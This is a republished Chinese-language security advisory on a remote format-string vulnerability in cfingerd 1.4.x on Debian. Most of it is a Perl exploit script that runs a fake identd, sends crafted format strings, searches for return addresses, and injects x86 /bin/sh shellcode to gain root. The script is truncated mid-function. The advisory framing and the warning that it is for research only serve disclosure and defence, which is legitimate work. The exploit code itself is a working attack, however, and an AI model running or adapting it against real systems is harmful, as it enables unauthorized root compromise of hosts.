cfingerd 远程格式串漏洞

2008-04-11 09:36:48来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

cfingerd 远程格式串漏洞

发布日期:2001-04-19
更新日期:2001-04-19

受影响系统:

Infodrom cfingerd 1.4.3
Infodrom cfingerd 1.4.2
Infodrom cfingerd 1.4.1
Debian Linux 2.2r2
Debian Linux 2.2r1
Debian Linux 2.2
Infodrom cfingerd 1.4.0
描述:

BUGTRAQ ID: 2576
CVE(CAN) ID: CAN-2001-0609

在cfingerd的日志记录程序中存在一个格式串漏洞,允许远程用户获取root权限。

cfingerd会查询和记录请求此服务的远程用户的用户名。如果攻击者设置在远程
主机上设置一个虚假的indentd服务程序以返回一个格式化字符串作为用户名,
他就可以利用这个格式串漏洞来进行攻击。由于cfingerd通常是以root身份运行,
因此攻击者可能远程获取对被攻击主机的控制权限。

有问题的代码部分在main.c 第245,258和268行:

syslog(LOG_NOTICE, (char *) syslog_str);

这里的syslog_str是攻击者可以控制的。利用代码中一个未中断的缓冲区,攻击
者可以将定制的代码传送给syslog.

<*来源:Megyer Laszlo (Lez) (abulla@freemail.hu) *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Megyer Laszlo (Lez) (abulla@freemail.hu)提供了下列测试代码:

#!/usr/bin/perl
# Cfingerd exploit to the recent syslog format bug.
# Discovered and written by Lez <abullah@freemail.hu> in 2001.
# you have to use it as root to bind port 113.

# tested on Debian 2.1, 2.2

use IO::Socket;
#use strict;

my $network_timeout=5;
my $sleep_between_fingers=2; # should be enough
my $debug_sleep=0;

my $fingerport=79;
my $target=$ARGV[0];
my $debug=1;
my $test_vulnerability=1;

# Debian 2.2, cfingerd 1.4.1-1
#my $control=33; # if don't set it, exploit will find.
#my $align=0; # the same
#$retaddr=0xbffffab0;
# my $retaddr=0xbffff880; # the same
#$retaddr=0xbffff840;


my $retvalue=0xbffff980; # If it finds everything correctly, and says Shell lunched, but
# you can't find your uid 0, decrease $retvalue by 30.
my $bytes_written=32;

#$control=17;
#$align=0;
#$retaddr=0xbffffb80; #(or 0xbffffb68 0xbffff9d0 0xbffff9cc 0xbffff9c8)
#$retvalue=0xbffffc20;
#$bytes_written=32;



# GOOD:
my $startsig11=0xbffffbfc;
my $endsig11= 0xbffff000;

my $controlstart=45;
my $controlend=1;

my $fclient;

my $shellcode ="\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80".
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#59 bytes

if (!$target) {print "Usage: $0 target\n";exit}

# Starting fake identd
my $identd = IO::Socket::INET->new(
Listen => 5,
LocalPort => 113,
Proto => 'tcp',
Reuse => 3) or die "Cannot listen to port 113: $!\n";

if ($test_vulnerability) {&testvuln}

if (!$control) { &get_control_and_align }
else {print "Alignment: $align\nControl: $control\n" }

if (!$retaddr) {
&find_and_exploit_sigsegv_values
}
else {
printf "Using provided RET address: 0x%x\n",$retaddr;
&exploit ($retaddr, $retvalue);
}


exit;




sub sendthisone { #sends a string to cfingerd, and returns 1 if the remote machine got SIGSEGV or SIGILL.
# a bit tricky
my $text_to_send=$_[0];

$text_to_send =~ s/^\ /\ \ /;

my ($last_119, $gotback);

$fclient = IO::Socket::INET->new("$target:$fingerport") or die "Cannot connect to $target: $!\n";
print $fclient "e\n"; # e is the username we query.

my $ident_client = $identd-> accept;

my $tmp=<$ident_client>;


my $first_64= substr($text_to_send, 0, 64);
if (length($text_to_send) > 64) {
$last_119= substr($text_to_send,64);
}

sleep $debug_sleep;

print $ident_client "$last_119: : :$first_64\n"; # we use an other bug
# in rfc query function
# to send longer lines.
close $ident_client;

eval {
local $SIG{ALRM} = sub { die "alarm\n"};
alarm ($network_timeout);
$gotback= <$fclient>;
alarm 0;
};
if ($@) {
die unless $@ eq "alarm\n";
&shell;
}

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Cisco VPN 3000 Concertrator 远程拒绝服务攻击

下一篇:Solaris ftpd glob() 扩展堆溢出漏洞